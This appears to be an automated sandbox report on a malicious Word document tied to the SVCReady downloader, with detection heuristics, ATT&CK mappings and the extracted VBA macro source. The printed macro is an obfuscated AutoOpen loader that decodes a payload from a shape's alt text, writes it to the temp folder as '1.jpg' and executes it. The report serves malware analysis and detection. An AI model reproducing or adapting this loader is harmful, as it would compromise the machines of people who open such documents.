MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample is an Office document containing a VBA macro that executes upon opening via the AutoOpen subroutine. This macro utilizes WshShell.exec to run a command, which is constructed using the Environ("tmp") environment variable to save a file to the temporary directory as '1.jpg'. This indicates the macro's purpose is to download and execute a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
-
External relationship high OOXML_EXTERNAL_RELExternal target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\us.jpg
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
- http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
- http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
- http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 4664 bytes |
SHA-256: 9d64eca986e134f930423af298c687b865c65c99598628020c8abf3725ec7548 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "a34331f8"
Function dd0d5fcd()
dd0d5fcd = ActiveWindow.VerticalPercentScrolled
End Function
Function da602f49()
da602f49 = ActiveWindow.Document
End Function
Function d2cf0346()
d2cf0346 = Application.ActiveDocument.ActiveWindow
End Function
Function e7725c78()
e7725c78 = ActiveWindow.Document
End Function
Sub AutoOpen()
Dim e3a79459 As New aeed896e
aaa = c2ec170d(f8d5670d)
eca32f13 = e3a79459.f38a9518(aaa, "")
fa0b729a ed38e7bb, eca32f13
Dim de4f1856 As New WshShell
Call de4f1856.exec(d088f7a6 & " " & ed38e7bb)
End Sub
Attribute VB_Name = "d83b3b69"
Function e9cdbb78()
e9cdbb78 = ActiveWindow.Width
End Function
Function b1397d17()
b1397d17 = Application.ActiveDocument.ActiveWindow
End Function
Function c20acf73()
c20acf73 = ActiveWindow.Creator
End Function
Function f5133ac2()
f5133ac2 = 106
End Function
Sub fa0b729a(fb7eff4b, b763bccd)
Dim caa96bd6
caa96bd6 = FreeFile
Open fb7eff4b For Output As #caa96bd6
Print #caa96bd6, b5990435(b763bccd)
Close #caa96bd6
End Sub
Function ed38e7bb()
ed38e7bb = Environ("tmp") & "\1.jpg"
End Function
Function c746bb8c()
c746bb8c = ActiveWindow.Width
End Function
Function d44930f4()
d44930f4 = ActiveWindow.VerticalPercentScrolled
End Function
Function e9b831cd()
e9b831cd = ActiveWindow.Parent
End Function
Function caae0dc9()
caae0dc9 = Application.ActiveDocument.Creator
End Function
Function c2ec170d(c553066f)
For bc6602fc = 1 To Len(c553066f) Step 3
e8a444c7 = e8a444c7 & Mid(c553066f, bc6602fc, 1)
Next
c2ec170d = e8a444c7
End Function
Function b4e908b8()
b4e908b8 = ActiveWindow.Selection
End Function
Function ce75a1b7()
ce75a1b7 = ActiveWindow.SplitVertical
End Function
Function fb42b353()
fb42b353 = Application.ActiveDocument.ClickAndTypeParagraphStyle
End Function
Function e20d29fa()
e20d29fa = ActiveWindow.Height
End Function
Sub a6dde06d()
End Sub
Function daa0c2b5()
daa0c2b5 = ActiveWindow.SplitVertical
End Function
Function be5c58ef()
be5c58ef = ActiveWindow.DisplayVerticalRuler
End Function
Function bfbcb962()
bfbcb962 = Application.ActiveDocument.Content
End Function
Function dee913cb()
dee913cb = Application.ActiveDocument.ChartDataPointTrack
End Function
Function b5990435(b763bccd)
b5990435 = StrConv(b763bccd, 64)
End Function
Function fb9845ed()
fb9845ed = Application.ActiveDocument.Creator
End Function
Function e3936f44()
e3936f44 = Application.ActiveDocument.AutoSaveOn
End Function
Function ee0f6e1d()
ee0f6e1d = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Function cff048d5()
cff048d5 = ActiveWindow.DisplayRulers
End Function
Function f8d5670d()
f8d5670d = ActiveDocument.Shapes(1).AlternativeText
End Function
Function ce566646() As Long
Dim d539e2f3 As Integer
Dim b8490749 As Long
b8490749 = 77
For d539e2f3 = 7 To 80 Step 3
b8490749 = b8490749 + d539e2f3
Next d539e2f3
ce566646 = b8490749
End Function
Function d14a314a()
d14a314a = -30108
End Function
Function cef67964()
cef67964 = ActiveWindow.VerticalPercentScrolled
End Function
Function a8539311()
a8539311 = ActiveWindow.Thumbnails
End Function
Function d088f7a6()
d088f7a6 = c2ec170d("rd0e01gb0sfev9ar013792eb")
End Function
Attribute VB_Name = "aeed896e"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function a7dd8877()
a7dd8877 = ActiveWindow.Hwnd
End Function
Function f3fb3707()
f3fb3707 = ActiveWindow.Type
End Function
Function b564216f()
b564216f = ActiveWindow.Top
End Function
Function dae4322a()
dae4322a = ActiveWindow.Selection
End Functio
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 28672 bytes |
SHA-256: 3b22feb4d772ac703934789bc221063fe6f7261c2b427e43e814e079b9a7b460 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.